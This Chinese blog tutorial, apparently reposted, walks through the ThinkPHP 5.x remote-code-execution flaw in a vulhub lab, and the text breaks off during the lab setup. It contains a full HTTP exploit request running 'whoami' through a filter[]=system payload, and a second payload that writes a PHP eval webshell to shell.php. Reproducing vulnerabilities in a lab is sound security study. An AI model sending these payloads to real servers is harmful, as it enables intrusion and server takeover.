赞
踩
框架漏洞属于web安全漏洞中的环境漏洞,我们可以把框架看作毛胚房,在毛坯房的基础上进行装修就构成了最终的成品网站。
目录
在软件开发中,框架被用来提供各种功能模块,如用户认证、权限控制、数据库操作等,这些模块通常是经过测试和验证的。然而,由于框架的复杂性和灵活性,很难保证所有使用框架的开发者都能正确地使用这些模块。因此,框架漏洞的产生主要是由于框架本身存在的设计或实现上的缺陷。
常见的框架漏洞包括SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入和会话劫持等
- ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、
- ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。
- 其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而
- ThinkPHP 3系列也积累了较多的历史用户
ThinkPHP是一个免费,开源,快速、简单的面向对象的轻量级PHP开发框架,是为了加快WEB应用开发和简化企业应用开发而诞生的。
漏洞影响范围:
5.x < 5.1.31
Thinkphp 5.0.x<= 5.0.23
漏洞成因:
该漏洞出现的原因在于ThinkPHP5框架底层对 控制器名 过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,最终导致getshell漏洞
漏洞POC的详细解析:
vulhub 中给出的thinkPHP5.0.23的POChttps://vulhub.org/#/environments/thinkphp/5.0.23-rce/
请求包内容:
- POST /index.php?s=captcha HTTP/1.1
- Host: 192.168.43.11:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.43.11:8080/index.php?s=captcha
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 76
- Origin: http://192.168.43.11:8080
- Connection: close
- Upgrade-Insecure-Requests: 1
- _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
接下来粗浅地分析一波POST中的内容(实际上更近一步的解析需要结合框架源代码进行详细解析,但这里我们仅仅需要知道如何利用该漏洞即可):
- _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
-
这段代码看起来很长,其实它可以分为两个部分:
_method=__construct&filter[]=system&method=get
_method=__construct:该参数将传递给ThinkPHP框架,用于指定将要调用的方法。在这里,使用了对象的构造方法(constructor)__construct。
filter[]=system:filter参数用于指定一个或多个过滤器,用于过滤用户输入数据。在这里,system过滤器被指定,它可以绕过输入过滤,执行系统命令。
method=get:指定执行请求的HTTP方法为GET。
&server[REQUEST_METHOD]=whoamiserver[REQUEST_METHOD]:伪造的HTTP请求头中的REQUEST_METHOD参数,通过伪造该参数,攻击者可以构造一个将恶意代码写入文件的请求。
#######################################################################
但是,除了这段POST内容之外,我们还要在POST请求的请求头部分加上/index.php?s=captcha:method=get: 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
s=captcha: 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
接下来试着上传一句话木马:
- _method=__construct&filter[]=system&method=get
- &server[REQUEST_METHOD]=echo "<?php @eval($_POST[123]); ?>" > shell.php
-
要想使用vulhub靶场,我们需要先在Kali Linux上部署Docker并安装vulhub,关于Docker和vulhub的安装部署较为简单,一方就不在这里水字数了,详细的图文教程请参看如下文章:
- Vulhub是一个基于Docker和Docker-compose的漏洞环境集合,
- 进入对应目录并执行一条语句即可启动一个全新的漏洞环境,
- 让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
打开虚拟机,进入安装了vulhub的目录:
┌──(root
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小惠珠哦/article/detail/761254
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。